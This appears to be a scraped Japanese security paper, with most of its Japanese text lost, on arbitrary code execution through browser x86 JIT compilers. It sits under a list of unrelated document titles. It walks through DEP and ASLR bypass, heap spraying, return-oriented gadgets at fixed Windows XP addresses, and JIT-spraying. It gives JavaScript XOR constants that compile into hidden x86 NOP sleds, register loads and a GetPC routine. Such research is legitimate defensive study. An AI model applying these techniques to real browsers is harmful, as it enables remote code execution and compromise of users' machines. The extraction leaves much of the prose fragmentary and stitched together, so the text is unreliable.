#include <stdio.h> unsigned char x86[] = { 0x8b, 0x44, 0x24, 0x04, // mov eax,[esp+4] 0x03, 0x44, 0x24, 0x08, // add eax,[esp+8] 0xc3 // ret }; int ma

Similar documents
ファイルベースのサンドボックスの回避

Agenda Intro & history LLVM overview Demo Pros & Cons LLVM Intermediate Language LLVM tools

1.ppt

Security Solution 2008.pptx

Flash Player ローカル設定マネージャー

FileMaker Server Getting Started Guide

,,,,., C Java,,.,,.,., ,,.,, i

Microsoft PowerPoint - NxLecture ppt [互換モード]

28 Docker Design and Implementation of Program Evaluation System Using Docker Virtualized Environment

/* sansu1.c */ #include <stdio.h> main() { int a, b, c; /* a, b, c */ a = 200; b = 1300; /* a 200 */ /* b 200 */ c = a + b; /* a b c */ }

FileMaker Server 9 Getting Started Guide

本論文では,32bit の Linux OS における C 言語で書かれたプログラムかつ GCC (GNU Compiler Collection) でコンパイルされた Linux ELF (Executable and Linkable Format) 形式 [6] のバイナリに焦点を絞る. 1


Web Web Web Web Web, i

/ SCHEDULE /06/07(Tue) / Basic of Programming /06/09(Thu) / Fundamental structures /06/14(Tue) / Memory Management /06/1

(2 Linux Mozilla [ ] [ ] [ ] [ ] URL 2 qkc, nkc ~/.cshrc (emacs 2 set path=($path /usr/meiji/pub/linux/bin tcsh b

Adobe Media Encoder ユーザーガイド

nopcommerce Adobe Flash ( 1 ) 1 nopcommerce 2.2 ( [5, p.3-4] )

FUJITSU Network Si-R Si-R Gシリーズ Webユーザーズガイド

ohp03.dvi

山梨県ホームページ作成ガイドライン

IPSJ SIG Technical Report Vol.2014-EIP-63 No /2/21 1,a) Wi-Fi Probe Request MAC MAC Probe Request MAC A dynamic ads control based on tra

05[ ]櫻井・小川(責)岩.indd

2 1 Web Java Android Java 1.2 6) Java Java 7) 6) Java Java (Swing, JavaFX) (JDBC) 7) OS 1.3 Java Java

FileMaker Server Getting Started Guide

1007  ステルスデバッガを利用したマルウェア解析手法の提案

はじめに

main.dvi

インテル® VTune™ パフォーマンス・アナライザー 9.1 Windows* 版

東京工業大学情報理工学院 AO 入試 活動実績報告書 氏名 ( よみ ): 大岡山花子 ( おおおかやまはなこ ) 高等学校 : 県立 高等学校 (2019 年 3 月 卒業 卒業予定 ) 活動実績概要 (150 字程度 ): JavaScript ではコールバックを多用することがある. これはプロ

untitled

cpp1.dvi

r03.dvi

II ( ) prog8-1.c s1542h017%./prog8-1 1 => 35 Hiroshi 2 => 23 Koji 3 => 67 Satoshi 4 => 87 Junko 5 => 64 Ichiro 6 => 89 Mari 7 => 73 D

29 jjencode JavaScript

untitled

オンラインによる 「電子申告・納税等開始(変更等)届出書」 提出方法

Vol. 28 No. 2 Apr Web Twitter/Facebook UI Twitter Web Twitter/Facebook e.g., Web Web UI 1 2 SNS 1, 2 2

untitled

制御システムのセキュリティリスク軽減対策~EMET のご紹介~

08encode part 2

fiš„v5.dvi

pptx

2

WebGL OpenGL GLSL Kageyama (Kobe Univ.) Visualization / 57

PX-1004

ActionScript Flash Player 8 ActionScript3.0 ActionScript Flash Video ActionScript.swf swf FlashPlayer AVM(Actionscript Virtual Machine) Windows

PX-504A

r07.dvi

ohp07.dvi

PX-434A/PX-404A


Oracle Policy Automation 10.0システム要件

ex01.dvi

P3PC

untitled

RX600 & RX200シリーズ アプリケーションノート RX用仮想EEPROM

ORCA (Online Research Control system Architecture)

p _08森.qxd

JavaScript Web Web Web Web Web JavaScript Web Web JavaScript JavaScript JavaScript GC GC GC GC JavaScript SSJSVM GC SSJSVM GC GC GC SSJSVM GC GC SSJSV

Microsoft PowerPoint - Lecture ppt [互換モード]

FileMaker Pro Advanced Development Guide

I ASCII ( ) NUL 16 DLE SP P p 1 SOH 17 DC1! 1 A Q a q STX 2 18 DC2 " 2 B R b

Transcription:

x86 JIT Web JavaScript x86 JIT JIT x86 JIT Windows OS DEP x86 ASLR DEP ASLR Return-Oriented Programming JIT-Spraying JavaScript JIT x86 x86 JIT How to execute arbitrary code on x86 JIT Compiler Yoshinori Takesako The modern Web browsers have own x86 JIT engine, in order to make high-speed JavaScript possible. However, they have some arbitrary code execution vulnerabilities. Because the JIT engine allocates sections of memory and marks them as executable. The modern Windows operating system has security features. DEP (Data Execution Prevention) prevents the stack and heap memory areas from being executable. ASLR (Address Space Layout Randomization) helps to prevent certain exploits from succeeding by making it more difficult for an attacker to predict target addresses. But the Return-Oriented Programming and the JIT- Spraying are known as few method of breaking through DEP and ASLR. I explain how to generate arbitrary x86 codes from JavaScript by controlling a JIT engine. I would like to discuss together how to protect vulnerability issues with x86 JIT compiler. 1. Web Firefox, Chrome, Opera, IE JavaScript x86 JIT 2. 1 x86 1 Web Cybozu Labs, Inc. 129

#include <stdio.h> unsigned char x86[] = { 0x8b, 0x44, 0x24, 0x04, // mov eax,[esp+4] 0x03, 0x44, 0x24, 0x08, // add eax,[esp+8] 0xc3 // ret }; int main() { int (*add)(int,int) = (void *)x86; printf("add(1, 2): %d\n", add(1, 2)); } 2 x86 C 3. DEP Windows XP SP2 DEP DEP 2 C x86 DEP JIT (Just-In-Time compiler) x86 OS API Windows malloc VirtualAlloc API PAGE EXECUTE 3 Linux malloc mprotect OS (4KB ) 4. ASLR ASLR(Address Space Layout Randomization) Windows Vista 7 Windows Serever 2008 ASLR OS DEP ASLR Linux 2.6.12 ASLR #include <stdio.h> #include <string.h> #include <windows.h> unsigned char x86[] = { 0x8b, 0x44, 0x24, 0x04, // mov eax,[esp+4] 0x03, 0x44, 0x24, 0x08, // add eax,[esp+8] 0xc3 // ret }; int main() { void *p = VirtualAlloc(NULL, 4096 * 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (p && memcpy(p, x86, sizeof(x86))) { int (*add)(int,int) = (void *)p; printf("add(1, 2): %d\n", add(1, 2)); VirtualFree(p, 0, MEM_RELEASE); } } 3 4 x86 Heap-Spraying 4.1 Heap-Spraying Heap-Spraying ASLR 0x90 ASLR 4 100% ASLR 4.2 Windows XP SP3 cacl.exe 130

7 C3 5 cacl.exe 8 0x7D636094 POP RET 6 6 MOV [EAX],ECX 5 0x7c8623ad kernel.dll WinExec 0x7c81cafa ExitProcess ASLR Windows Vista Windows 7 DLL 5. Return-Oriented Programming Return-Oriented Programming(ROP) 2 3 6 5.1 ROP 0xC3 RET POP XCHG Windows XP SP3 shell32.dll 0x7D5B1000 0x7D7AEFFF 7 0x7D636094 0x58 POP EAX 0xC3 RET 8 POP RET MOV RET 6 MOV EAX, 0xaaaaaaaa MOV ECX, 0xcccccccc MOV [EAX], ECX Return-Oriented Programming RET 5.2 DEP OS (DEP) ROP DEP 5.3 Mac OS X Mac OS X ASLR dyld IMPORT ROP 1) 5.4 Windows XP Adobe Reader 9.0 bib.dll Windows XP SP3 DEP ROP 2) Windows Xp Pro SP3 (calc.exe) Shellcode 31 Bytes http://www.shell-storm.org/shellcode/files/shellcode-612.php 131

6. JavaScript JavaScript ECMAScript(ECMA- 262) 3) JavaScript IEEE 754 9 6.1 0x90 JavaScript x 0x90909090 32bit 0x90909090 64bit 0x41e2121212000000 10 0x90 JavaScript JavaScript x86 JIT 11 JavaScript x86 10 JavaScript var x = 0x90909090; x86 0150FF53: MOV [EDI+0x638],0x12000000 0150FF5D: MOV [EDI+0x63C],0x41E21212 x86 JIT 2 32bit 6.2 0x90 JavaScript var y = -6.828527034422786e-229; JIT 0150FF67: MOV [EDI+0x640],0x90909090 0150FF71: MOV [EDI+0x644],0x90909090 11 var x = 0x90909090; // NG var y = -6.828527034422786e-229; // OK var z = -6.828527034422786e-229; // OK 0x90 JavaScript JIT 6.3 XOR JavaScript XOR AND OR 32bit ECMAScript 3) JavaScript JIT 32bit var a = 0x12345678 ^ 0x12345678 ^ 0x12345678 ^ 0x12345678 //... JavaScript JIT x86 +00: B8 78563412 MOV EAX,0x12345678 +05: 35 78563412 XOR EAX,0x12345678 +0A: 35 78563412 +0F: 35 78563412 : XOR EAX,0x12345678 XOR EAX,0x12345678 JIT JIT-Spraying JavaScript Flash Player ActionScript VM JIT- Spraying 4) 9 IEEE 754 64 10 2 MOV JIT 132

7. JIT-Spraying JIT-Spraying OS DEP ASLR DEP (DLL) ASLR Windows OS JavaScript ActionScript x86 JIT JIT-Spraying JIT JIT 4 0x90 7.1 JIT 0x90 JIT 0x90( ) 32bit XOR 4) 100% 32bit 0x3c909090 x ^= 0x3c909090 ^ 0x3c909090 ^ 0x3c909090 ^ 0x3c909090 ^ 0x3c909090 ^ 0x3c909090 ^ 0x3c909090 ^ 0x3c909090 ^ 0x3c909090 //... JavaScript 0x3c909090 XOR JIT x86 12 +00: 35 909090903C XOR EAX,0x3C909090 +05: 35 909090903C XOR EAX,0x3C909090 +0A: 35 909090903C XOR EAX,0x3C909090 +0F: 35 909090903C XOR EAX,0x3C909090 +00 +04 x86 13 +04: 3C 35 CMP AL,0x35 +06: 90 +07: 90 +08: 90 +09: 3C 35 CMP AL,0x35 +0B: 90 +0C: 90 +0D: 90 +0E: 3C 35 CMP AL,0x35 12 XOR EAX,0x3C909090 13 1 133

7.2 JIT-Spraying JIT 5 XOR 2 CMP AL,0x35 3 XOR 4 x86 +00: 35 9090B87F XOR EAX,0x7FB89090 +05: 35 BBAA903C XOR EAX,0x3C90AABB +0A: 35 B4CC903C XOR EAX,0x3C90CCB4 +0F: 35 B0DD503C XOR EAX,0x3C50DDB0 JIT-Spraying 0x90 14 1/5 XOR 80% +00 +01 x86 +01: 90 +02: 90 +03: B8 7F35BBAA MOV EAX,0xAABB357F +08: 90 +09: 3C 35 CMP AL,0x35 +0B: B4 CC MOV AH,0xCC +0D: 90 +0E: 3C 35 CMP AL,0x35 +10: B0 DD MOV AL,0xDD +12: 50 PUSH EAX 32bit 0xAABBCCDD EAX PUSH EBX +00: 35 9090BB7F XOR EAX,0x7FBB9090 +05: 35 2211903C XOR EAX,0x3C901122 +0A: 35 B733903C XOR EAX,0x3C9033B7 +0F: 35 B344903C XOR EAX,0x3C9044B3 +14: 35 5889033C XOR EAX,0x3C038958 3 +03: BB 7F352211 MOV EBX,0x1122357F +08: 90 +09: 3C 35 CMP AL,0x35 +0B: B7 33 MOV BH,0x33 +0D: 90 +0E: 3C 35 CMP AL,0x35 +10: B3 44 MOV BL,0x44 +12: 90 +13: 3C 35 CMP AL,0x35 +15: 58 POP EAX +16: 89 03 MOV [EBX],EAX 14 JIT-Spraying DEP ASLR EIP FSTENV EIP GetPC XOR 15 5) 3 CALL +00: D9 D0 F +02: 54 PUSH ESP +03: 3C 35 CMP AL,0x35 +05: 58 POP EAX +06: 90 +07: 90 +08: 3C 35 CMP AL,0x35 +0A: 6A F4 PUSH -0x0C +0C: 59 POP ECX +0D: 3C 35 CMP AL,0x35 +0F: 01 C8 ADD EAX,ECX +11: 90 +12: 3C 35 CMP AL,0x35 +14: D9 30 FSTENV DS:[EAX] 15 FSTENV EIP GetPC Re:GetPC code(was:shellcode from ASCII) Jun 27 2003 08:22 http://www.securityfocus.com/archive/82/327100/2009-02-24/1 134

8. Mozilla Firefox JavaScript JIT JaegerMonkey JavaScript-C 1.8.5+ 2011-04-16 XOR 1000 JavaScript 16 1 for (var i = 0; i < 10000000; i++) { a ^= 0x11111111 ^ 0x22222222 ^ 0x33333333; b ^= 0x44444444 ^ 0x55555555 ^ 0x66666666; c ^= 0x77777777 ^ 0x88888888 ^ 0x99999999; } 16 JavaScript xor 1000 JIT JavaScript 3,645 method JIT 1/30 115 trace JIT 1/3 38 1 8.1 JaegerMonkey method JIT JaegerMonkey method JIT x86 EAX EBX XOR 17 XOR EBX 5 6 JIT-Spraying 8.2 JaegerMonkey trace JIT JaegerMonkey trace JIT x86 XOR EAX 18 JavaScript 16 b ^= 0x44444444 ^ 0x55555555 ^ 0x66666666 6) 9. JIT x86 EAX 7) +00: 35 12345678 XOR EAX,0x78563412 +05: 81 F0 12345678 XOR EAX,0x78563412 JIT x86 32bit (imm32) 32bit XOR +00: 33 87 44040000 XOR EAX,[EDI+0x444] +06: 33 9F 88040000 XOR EBX,[EDI+0x488] 32bit x86 JIT 1) Dino A. Dai Zovi : Mac OS X x86 Return- Oriented Exploitation, Trail of Bits (2010) http://trailofbits.files.wordpress.com/2010/07/ mac-os-x roe.pdf. 2) VU#486225:Adobe Flash ActionScript AVM2 newfunction vulnerability, US-CERT (2010) http://www.kb.cert.org/vuls/id/486225. 3) Standard ECMA-262 ECMAScript Language Specification Edition 5.1, (2011) http://www.ecma-international.org/ publications/standards/ecma-262.htm. 4) Alexey Sintsov : Writing JIT Shellcode for fun and profit, DSecRG (2010) http://dsecrg.com/files/pub/pdf/writing%20 JIT-Spray%20Shellcode%20for%20fun%20and %20profit.pdf. 5) Dion Blazakis : Interpreter Exploitation: Pointer Inference and JIT Spraying, (2010) http://www.semantiscope.com/research/ BHDC2010/BHDC-2010-Paper.pdf. 6) Alexey Sintsov: JIT-Spray Attacks and Advanced Shellcode, HITB Amsterdam (2010) http://dsecrg.com/pages/pub/show.php?id=26 7) Chris Rohlf, Yan Ivnitskiy: Attacking Clientside JIT Compilers, Matasano Security (BlackHat 2011) http://www.matasano.com/research/jit/ 135

1 JavaScript-C 1.8.5+ 2011-04-16 JaegerMonkey x86 [ ] JavaScript JIT js.exe xor.js 3,645 method JIT js.exe -m xor.js 17 115 trace JIT js.exe -j xor.js 18 38 17 JaegerMonkey method JIT x86 18 JaegerMonkey trace JIT x86 136